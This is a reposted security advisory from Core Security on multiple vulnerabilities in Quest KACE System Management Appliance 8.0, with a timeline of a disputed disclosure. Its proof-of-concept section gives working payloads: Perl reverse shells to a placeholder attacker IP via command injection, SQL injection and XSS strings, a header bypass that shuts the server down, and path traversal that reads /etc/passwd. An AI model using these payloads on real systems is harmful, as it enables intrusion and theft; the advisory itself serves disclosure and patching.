Quest KACE System Management Appliance 8.0 (Build 8.0.318) XSS / Traversal / Code Execution / SQL Injection

2018-05-31T00:00:00
ID PACKETSTORM:148005
Type packetstorm
Reporter Core Security Technologies
Modified 2018-05-31T00:00:00

Description

                                        
                                            `Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com/  
  
Quest KACE System Management Appliance Multiple Vulnerabilities  
  
1. *Advisory Information*  
  
Title: Quest KACE System Management Appliance Multiple Vulnerabilities  
Advisory ID: CORE-2018-0004  
Advisory URL:  
http://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities  
Date published: 2018-05-31  
Date of last update: 2018-05-22  
Vendors contacted: Quest Software Inc.  
Release mode: Forced release  
  
2. *Vulnerability Information*  
  
Class: Improper Neutralization of Special Elements used in an OS Command  
[CWE-78], Improper Neutralization of Special Elements used in an OS Command  
[CWE-78], Deserialization of Untrusted Data [CWE-502], Improper Privilege  
Management [CWE-269], Improper Privilege Management [CWE-269], Improper  
Authorization [CWE-285], Improper Neutralization of Special Elements used  
in an SQL Command [CWE-89], Improper Neutralization of Special Elements  
used in an SQL Command [CWE-89], Improper Neutralization of Input During  
Web Page Generation [CWE-79], External Control of File Name or Path  
[CWE-73], External Control of File Name or Path [CWE-73]  
Impact: Code execution  
Remotely Exploitable: Yes  
Locally Exploitable: Yes  
CVE Name: CVE-2018-11138, CVE-2018-11139, CVE-2018-11135, CVE-2018-11134,  
CVE-2018-11132, CVE-2018-11142, CVE-2018-11136, CVE-2018-11140,  
CVE-2018-11133,  
CVE-2018-11137, CVE-2018-11141  
  
3. *Vulnerability Description*  
  
>From Quest KACE's website:  
  
"The KACE Systems Management Appliance [1] provides  
your growing organization with comprehensive management of network-connected  
devices, including servers, PCs, Macs, Chromebooks, tablets, printers,  
storage, networking gear and the Internet of Things (IoT). KACE can fulfill  
all of your organization's systems management needs, from initial deployment  
to ongoing management and retirement."  
  
Multiple vulnerabilities were found in the Quest KACE System Management  
Virtual Appliance that would allow a remote attacker to gain command  
execution as root. We present three vectors to achieve this, including  
one that can be exploited as an unauthenticated user.  
  
Additional web application vulnerabilities were found in the web console  
that is bundled with the product. These vulnerabilities are detailed in  
section 7.  
  
Note: This advisory has limited details on the vulnerabilities because  
during the attempted coordinated disclosure process, Quest advised us not  
to distribute our original findings to the public or else they would  
take legal action. Quest's definition of "responsible disclosure" can be  
found at  
https://support.quest.com/essentials/reporting-security-vulnerability.  
  
CoreLabs has been publishing security advisories since 1997 and believes  
in coordinated disclosure and good faith collaboration with software vendors  
before disclosure to help ensure that a fix or workaround solution is ready  
and available when the vulnerability details are publicized. We believe  
that providing technical details about each finding is necessary to provide  
users and organizations with enough information to understand the  
implications  
of the vulnerabilities against their environment and, most importantly, to  
prioritize the remediation activities aiming at mitigating risk.  
  
We regret Quest's posture on disclosure during the whole process (detailed  
in the Report Timeline section) and the lack of a possibility of engaging  
into a coordinated publication date, something we achieve (and have  
achieved) with many vendors as part of our coordinated disclosure practices.  
  
4. *Vulnerable Packages*  
  
. Quest KACE System Management Appliance 8.0 (Build 8.0.318)  
Other products and versions might be affected too, but they were not tested.  
  
5. *Vendor Information, Solutions and Workarounds*  
  
Quest reports that it has released the security vulnerability patch  
SEC2018_20180410 to address the reported vulnerabilities.  
Patch can be download at  
https://support.quest.com/download-install-detail/6086148.  
  
For more details, Quest published the following Security Note:  
https://support.quest.com/kace-systems-management-appliance/kb/254193/security-vulnerability-patch-sec2018_20180410-  
  
6. *Credits*  
  
These vulnerabilities were discovered and researched by Leandro Barragan  
and Guido Leo from Core Security Consulting Services. The publication of  
this advisory was coordinated by Leandro Cuozzo from Core Advisories Team.  
  
7. *Technical Description / Proof of Concept Code*  
  
Quest KACE SMA ships with a web console that provides administrators and  
users with several features. Multiple vulnerabilities were found in the  
context of this console, both from an authenticated and unauthenticated  
perspective.  
  
Section 7.1 describes how an unauthenticated attacker could gain command  
execution on the system as the web server user.  
  
Vulnerabilities described in 7.2 and 7.3 could also be abused to gain code  
execution but would require the attacker to have a valid authentication  
token.  
  
In addition, issues found in the Sudo Server module presented in 7.4 and  
7.5 would allow the attacker to elevate his privileges from the web server  
user to root, effectively obtaining full control of the device.  
  
Additional web application vulnerabilities were found in the console, such  
as insufficient authorization for critical functions, which would allow an  
anonymous attacker to reconfigure the appliance (7.6), SQL injection  
vulnerabilities (7.7, 7,8), a cross-site scripting issue (7.9), and path  
traversal vulnerabilities, which would allow an attacker to read, write and  
delete arbitrary files (7.9, 7.10, 7.11).  
  
7.1. *Unauthenticated command injection*  
  
[CVE-2018-11138]  
The '/common/download_agent_installer.php' script is accessible to anonymous  
users in order to download an agent for a specific platform. This behavior  
can be abused to execute arbitrary commands on the system.  
  
The script receives the following parameters via the GET method:  
  
. platform: Indicates the platform in which the agent is going to be  
installed  
. serv: SHA256 hash of a fixed value that depends of each appliance  
. orgid: Organization ID  
. version: Version number of the agent  
  
The last two conditions are simple to meet. The Agent versions are publicly  
available within the Quest KACE site, but even if they were not, we found  
that the Organization ID parameter is vulnerable to a time based SQL  
injection  
(refer to issue 7.7).  
This would make it possible to obtain the agent version by querying the  
table 'CLIENT_DISTRIBUTION' and fetching the contents of the 'VERSION'  
column. The Organization ID is 1 by default, but could be obtained in the  
same way as the Agent version by querying the table 'ORGANIZATION' and  
the column 'ID'.  
  
As stated above, the application uses the Organization ID and Agent  
version parameters to execute commands. This means we need to find a way  
to append system commands within the Organization ID, without breaking the  
SQL query. If we use the comment symbol (#), we can append anything we want  
without affecting the result of the query.  
  
Preparing payload:  
  
/-----  
- platform = windows  
- serv = ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c  
- orgid = 1#;perl -e 'use  
Socket;$i="[AttackerIP]";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash  
-i");};';  
- version = 8.0.152 (last agent version available for windows)  
-----/  
  
The following proof of concept executes a reverse shell:  
  
/-----  
GET  
/common/download_agent_installer.php?platform=windows&serv=ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c&orgid=1%23%3bperl+-e+'use+Socket%3b$i%3d"[AttackerIP]"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b'%3b&version=8.0.152  
HTTP/1.1  
Host: Server  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 0  
-----/  
  
/-----  
$ nc -lvp 8080  
Listening on [0.0.0.0] (family 0, port 8080)  
Connection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2,  
sport 20050)  
sh: can't access tty; job control turned off  
$ id  
uid=80(www) gid=80(www) groups=80(www)  
-----/  
  
7.2. *Authenticated command injection*  
  
[CVE-2018-11139]  
The '/common/ajax_email_connection_test.php' script used to test the  
configured  
SMTP server is accessible by any authenticated user and can be abused to  
execute arbitrary commands on the system. This script is vulnerable to  
command injection via the unsanitized user input 'TEST_SERVER' sent to the  
script via POST method.  
  
The following proof of concept executes a reverse shell:  
  
/-----  
POST /common/ajax_email_connection_test.php HTTP/1.1  
Host: [ServerIP]  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 416  
Cookie: [Cookie]  
Connection: close  
  
TEST_SERVER=test;perl+-e+'use+Socket%3b$i%3d"[AttackerIP]"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b';&TEST_PORT=587&TEST_USERNAME=eaea@eaea.com&TEST_PASSWORD=1234&TEST_OLD_PASSWORD=&QUEUE_ID=1&TEST_TO_EMAIL=eaea@eaea.com&ACTION=TEST_CONNECTION_SMTP  
-----/  
  
/-----  
$ nc -lvp 8080  
Listening on [0.0.0.0] (family 0, port 8080)  
Connection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2,  
sport 20050)  
sh: can't access tty; job control turned off  
$ id  
uid=80(www) gid=80(www) groups=80(www)  
-----/  
  
7.3. *PHP Object Injection leading to arbitrary command execution*  
  
[CVE-2018-11135]  
An authenticated user could abuse a deserialization call on the script  
'/adminui/error_details.php' to inject arbitrary PHP objects.  
  
To exploit this issue, the parameter 'ERROR_MESSAGES' needs to be an array  
and meet some specific conditions in order to successfully exploit the  
issue.  
  
7.4. *Privilege escalation via password change in Sudo Server*  
  
[CVE-2018-11134]  
In order to perform actions that requires higher privileges, the application  
relies on a message queue managed that runs with root privileges and only  
allows a set of commands.  
  
One of the available commands allows to change any user's password  
(including root).  
  
Assuming we are able to run commands in the server, we could abuse this  
feature by changing the password of the 'kace_support' account, which  
comes disabled by default but has full sudo privileges.  
  
7.5. *Privilege escalation via command injection in Sudo Server*  
  
[CVE-2018-11132]  
As mentioned in the issue [7.4], in order to perform actions that require  
higher privileges, the application relies on a message queue that runs  
daemonized with root privileges and only allows a set of commands to be  
executed.  
  
A command injection vulnerability exists within this message queue which  
allows us to append arbitrary commands that will be run as root.  
  
7.6. *Insufficient Authorization for critical function*  
  
[CVE-2018-11142]  
'systemui/settings_network.php' and 'systemui/settings_patching.php'  
scripts are accessible only from localhost. This restriction can be bypassed  
by modifying the 'Host' and 'X_Forwarded_For' HTTP headers.  
  
The following proof of concept abuses this vulnerability to shutdown the  
server as an anonymous user:  
  
/-----  
POST /systemui/settings_network.php HTTP/1.1  
Host: localhost  
X-Forwarded-For: ::1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://[ServerIp]/systemui/settings_network.php  
Content-Type: multipart/form-data;  
boundary=---------------------------5642543667001619951434940129  
Content-Length: 3418  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
-----------------------------5642543667001619951434940129  
Content-Disposition: form-data; name="CSRF_TOKEN"  
-----------------------------5642543667001619951434940129  
Content-Disposition: form-data; name="$shutdown"  
DoIt!  
Content-Disposition: form-data; name="save"  
Save  
-----------------------------5642543667001619951434940129--  
-----/  
  
7.7. *Unauthenticated SQL Injection in download_agent_installer.php*  
  
[CVE-2018-11136]  
The 'orgID' parameter received by the '/common/download_agent_installer.php'  
script is not sanitized, leading to SQL injection. In particular, a blind  
time based type.  
  
The following proof of concept induces a time delay:  
  
/-----  
http://[ServerIP]/common/download_agent_installer.php?platform=windows&serv=58b9e89c12f57e492df8f1d744b6ed5a4d394b454ca8a99176caba35fd13ec1f&orgid=1  
AND SLEEP(10)%23;&version=8.0.152  
-----/  
  
7.8. *SQL Injection in run_report.php*  
  
[CVE-2018-11140]  
The 'reportID' parameter received by the '/common/run_report.php' script  
is not sanitized, leading to SQL injection. In particular, an error based  
type.  
  
The following proof of concept retrieves the current database name:  
  
/-----  
POST /common/run_report.php HTTP/1.1  
Content-Length: 161  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Host: [ServerIP]  
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8  
Connection: close  
Referer: http://[ServerIP]/adminui/analysis_report_list.php?CATEGORY_ID=  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Cookie: [Cookie]  
  
date=1516135247598&reportId=-3161+UNION+ALL+SELECT+CONCAT(0x7170706a71,IFNULL(CAST(DATABASE()+AS+CHAR),0x20),0x716a707171),NULL--+LhEx&reportName=&format=pdf  
-----/  
  
/-----  
HTTP/1.1 200 OK  
Date: Thu, 08 Feb 2018 21:50:21 GMT  
Server: Apache  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
Vary: Accept-Encoding  
Access-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key,  
x-kace-auth-signature, accept, origin, content-type  
Access-Control-Allow-Origin: *  
Access-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS  
X-KACE-Appliance: K1000  
X-KACE-Host: [ServerIP]  
X-KACE-Version: 8.0.318  
X-KBOX-WebServer: [ServerIP]  
X-KBOX-Version: 8.0.318  
X-KACE-WebServer: [ServerIP]  
X-UA-Compatible: IE=9,EDGE  
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform  
Content-Length: 3548  
Connection: close  
Content-Type: text/html; charset=utf-8  
  
[...SNIPPED...]  
<script type="text/javascript"  
src="/common/js/vendor/html5.js?BUILD=318" /></script>  
<![endif]--><title>Report Queued: qppjqORG1qjpqq</title><meta  
http-equiv='refresh'  
[...SNIPPED...]  
-----/  
  
7.9. *Unauthenticated Cross Site Scriting in run_cross_report.php*  
  
[CVE-2018-11133]  
The 'fmt' parameter of the '/common/run_cross_report.php' script is  
vulnerable to cross-site scripting.  
  
The following proof of concept demonstrates the vulnerability:  
  
/-----  
http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952  
-----/  
  
7.10. *Path traversal in download_attachment.php leading to arbitrary  
file read*  
  
[CVE-2018-11137]  
The 'checksum' parameter of the '/common/download_attachment.php' script can  
be abused to read arbitrary files with 'www' privileges. The following proof  
of concept reads the '/etc/passwd' file. No administrator privileges are  
needed to execute this script.  
  
It is worth noting that there are several interesting files that can be  
read with 'www' privileges, such as all the files located in  
'/kbox/bin/koneas/keys/' and '/kbox/kboxwww/include/globals.inc',  
which contain plaintext passwords.  
  
/-----  
http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952  
-----/  
  
The following proof of concept demonstrates the vulnerability:  
  
/-----  
GET  
/common/download_attachment.php?checksum=/../../../../../../../../../../../etc/passwd&filename=  
HTTP/1.1  
Host: [ServerIP]  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: [Cookie]  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
HTTP/1.1 200 OK  
Date: Thu, 18 Jan 2018 17:18:19 GMT  
Server: Apache  
Cache-Control: must-revalidate, post-check=0, pre-check=0  
Expires: -1  
Pragma: public  
Content-Disposition: attachment; filename=""  
Content-Transfer-Encoding: Binary  
Content-Description: K1000 attachment  
Content-Length: 2400  
Access-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key,  
x-kace-auth-signature, accept, origin, content-type  
Access-Control-Allow-Origin: *  
Access-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS  
X-KACE-Appliance: K1000  
X-KACE-Host: k10000.  
X-KACE-Version: 8.0.318  
X-KBOX-WebServer: k10000.  
X-KBOX-Version: 8.0.318  
X-KACE-WebServer: k10000.  
X-UA-Compatible: IE=9,EDGE  
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform  
Connection: close  
Content-Type: application/octet-stream  
  
# $FreeBSD: releng/11.0/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $  
#  
root:*:0:0:Charlie &:/root:/bin/csh  
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin  
operator:*:2:5:System &:/:/usr/sbin/nologin  
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin  
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin[...SNIPPED...]  
-----/  
  
7.11. *Path traversal in advisory.php leading to arbitrary file  
creation/deletion*  
  
[CVE-2018-11141]  
The 'IMAGES_JSON' and 'attachments_to_remove[]' parameters of the  
'/adminui/advisory.php' script can be abused to write and delete files  
respectively. The following proof of concept creates a file located at  
'/kbox/kboxwww/resources/TestWrite' with the content 'Sarasa' (base64  
encoded).  
Files can be at any location where the 'www' user has write permissions.  
  
File deletion could be abused to delete  
'/kbox/kboxwww/systemui/reports/setup_completed.log' file. This file's  
existence defines if the appliance setup wizard is shown or not.  
  
The following proof of concept demonstrates the vulnerability:  
  
/-----  
POST /adminui/advisory.php?ID=10 HTTP/1.1  
Host: [ServerIP]  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://[ServerIP]/adminui/advisory.php?ID=10  
Content-Type: multipart/form-data;  
boundary=---------------------------2671551246366368501556269100  
Content-Length: 1705  
Cookie: [Cookie]  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
-----------------------------2671551246366368501556269100  
Content-Disposition: form-data; name="CSRF_TOKEN"  
  
99c2addf067719d6fc3ae32ded351f000af8efdd091f162baa2a34516cefecc741cb13a69c80554a9ba32908d1c683102d3455eac39bcafc8854f46a04b2044e  
-----------------------------2671551246366368501556269100  
Content-Disposition: form-data; name="IMAGES_JSON"  
  
{"/../../../resources/TestWrite":"aaaaaa,VGVzdENvbnRlbnQ="}  
-----------------------------2671551246366368501556269100  
Content-Disposition: form-data; name="FARRAY[ID]"  
[...SNIPPED...]  
-----/  
  
Taking advantage of 7.2 and 7.4 we are able to verify the file creation:  
  
/-----  
[root@k10000 /kbox/kboxwww/resources]# ls -lha  
total 32  
drwxr-xr-x 2 www wheel 512B Feb 9 20:40 .  
drwxr-xr-x 23 root wheel 512B Nov 14 18:29 ..  
-rw-r--r-- 1 www wheel 11B Feb 9 20:40 TestWrite  
-----/  
  
8. *Report Timeline*  
2018-02-26: Core Security (Core) sent an initial notification to Quest  
Software Inc. (Quest) via web form.  
2018-03-05: Quest Support confirmed the receipt and requested additional  
information.  
2018-03-12: Core Security sent a draft advisory including a technical  
description.  
2018-03-16: Quest Support asked for the CVE-IDs.  
2018-03-16: Core Security answered saying that the CVE-IDs are required  
once the vendor verifies the vulnerabilities. Additionally, Core Security  
requested a confirmation about the reported vulnerabilities and a tentative  
timescale to fix them. Finally, Core Security requested that Quest use  
Core's advisories-publication email address as the official communication  
hannel also copying the researchers behind this discovery.  
2018-03-16: Quest Support thanked Core's reply and stated it will be in  
touch during the process.  
2018-03-20: Quest Support informed that they had not yet received any  
updates from the engineering team and had requested one.  
2018-03-21: Quest Support requested information about the KACE version  
used for reporting the issues and also Core's company name and information.  
2018-03-21: Core replied with the affected version (that was included in  
the original draft advisory) and a link to the Core company website and  
the list of previous security advisories.  
2018-03-21: Quest Support acknowledged the information provided.  
2018-03-26: Quest's KACE product manager (PM) thanked Core for making it  
aware of the security issues found and the level of thoroughness and details  
provided. Quest specified it had fixes already in place for some of the  
issues. Quest's KACE PM asked for a conference call in order to understand  
more about Core's offerings for future engagements. Finally, Quest's KACE  
PM notified the work done by Core is in breach of its license agreement,  
and requested Core not to distribute the findings to the public, otherwise  
uest would take legal action.  
2018-04-13: Quest's KACE PM sent a follow up email and informed that it  
made a hotfix to patch the reported vulnerabilities. Quest also requested  
a call meeting to understand future opportunities based on the Core's  
company capabilities. Finally, Quest asked for information about the  
researcher that found the vulnerabilities and a link of Core's choosing  
in order to be included in Quest's Acknowledgment page  
(https://support.quest.com/essentials/vulnerability-reporting-acknowledgements).  
2018-04-16: Core answered email from 2018-03-26 stating the company is  
following standard practices with regards to coordinated vulnerability  
disclosure, and also sent detailed technical information about our findings  
at Quest's request. Core also mentioned Quest seems to be well versed in  
the disclosure process and expects vendors to coordinate with it prior to  
publication via Quest's vulnerability reporting process, and that Quest's  
legal threat appears to be in direct contradiction to the disclosure  
process that they encourage on their website. Finally, Core asked about  
Quest's intention to work collaboratively to address these vulnerabilities  
and to follow industry standard disclosure processes that involves  
publication of the vulnerabilities.  
2018-04-17: Quest's KACE PM replied saying it is willing to collaborate  
and is looking forward to having a conversation over the phone in order to  
continue the next steps in its vulnerability process (forwarded email from  
2018-04-13).  
2018-04-17: Core thanked the answer and stated the willingness of keeping  
written communications between parties in order to better document the  
process and communicated the next steps of the process including: 1. Testing  
the fix (if vendor agrees), 2. Get CVE-IDs, 3. Get a Vendor's link to be  
included in the advisory and finally 4. Send final advisory version to  
vendor and coordinate publication date together. With regards to Quest's  
requests, Core provided the researchers names and URL of the advisory when  
it will be published. Finally, Core stated that the request for other Core  
company services could be forwarded to the Core services team if needed  
(and asked the right contact at Quest) but our intention is to keep that  
services request separate from the coordinated disclosure process.  
2018-04-18: Quest Support informed that they had publicly made available  
patches for its customers and unilaterally closed the case.  
2018-05-31: Advisory CORE-2018-0004 published.  
  
9. *References*  
  
[1] https://www.quest.com/products/kace-systems-management-appliance/  
  
10. *About CoreLabs*  
  
CoreLabs, the research center of Core Security, is charged with anticipating  
the future needs and requirements for information security technologies.  
We conduct our research in several important areas of computer security  
including system vulnerabilities, cyber-attack planning and simulation,  
source code auditing, and cryptography. Our results include problem  
formalization, identification of vulnerabilities, novel solutions and  
prototypes for new technologies. CoreLabs regularly publishes security  
advisories, technical papers, project information and shared software  
tools for public use at:  
http://corelabs.coresecurity.com.  
  
11. *About Core Security*  
  
Core Security provides companies with the security insight they need to  
know who, how, and what is vulnerable in their organization. The company's  
threat-aware, identity amp; access, network security, and vulnerability  
management solutions provide actionable insight and context needed to  
manage security risks across the enterprise. This shared insight gives  
customers a comprehensive view of their security posture to make better  
security remediation decisions. Better insight allows organizations to  
prioritize their efforts to protect critical assets, take action sooner  
to mitigate access risk, and react faster if a breach does occur.  
  
Core Security is headquartered in the USA with offices and operations in  
South America, Europe, Middle East and Asia. To learn more, contact Core  
Security at (678) 304-4500 or info@coresecurity.com  
  
12. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2018 Core Security and (c)  
2018 CoreLabs, and are licensed under a Creative Commons Attribution  
Non-Commercial Share-Alike 3.0 (United States) License:  
http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
13. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
  
  
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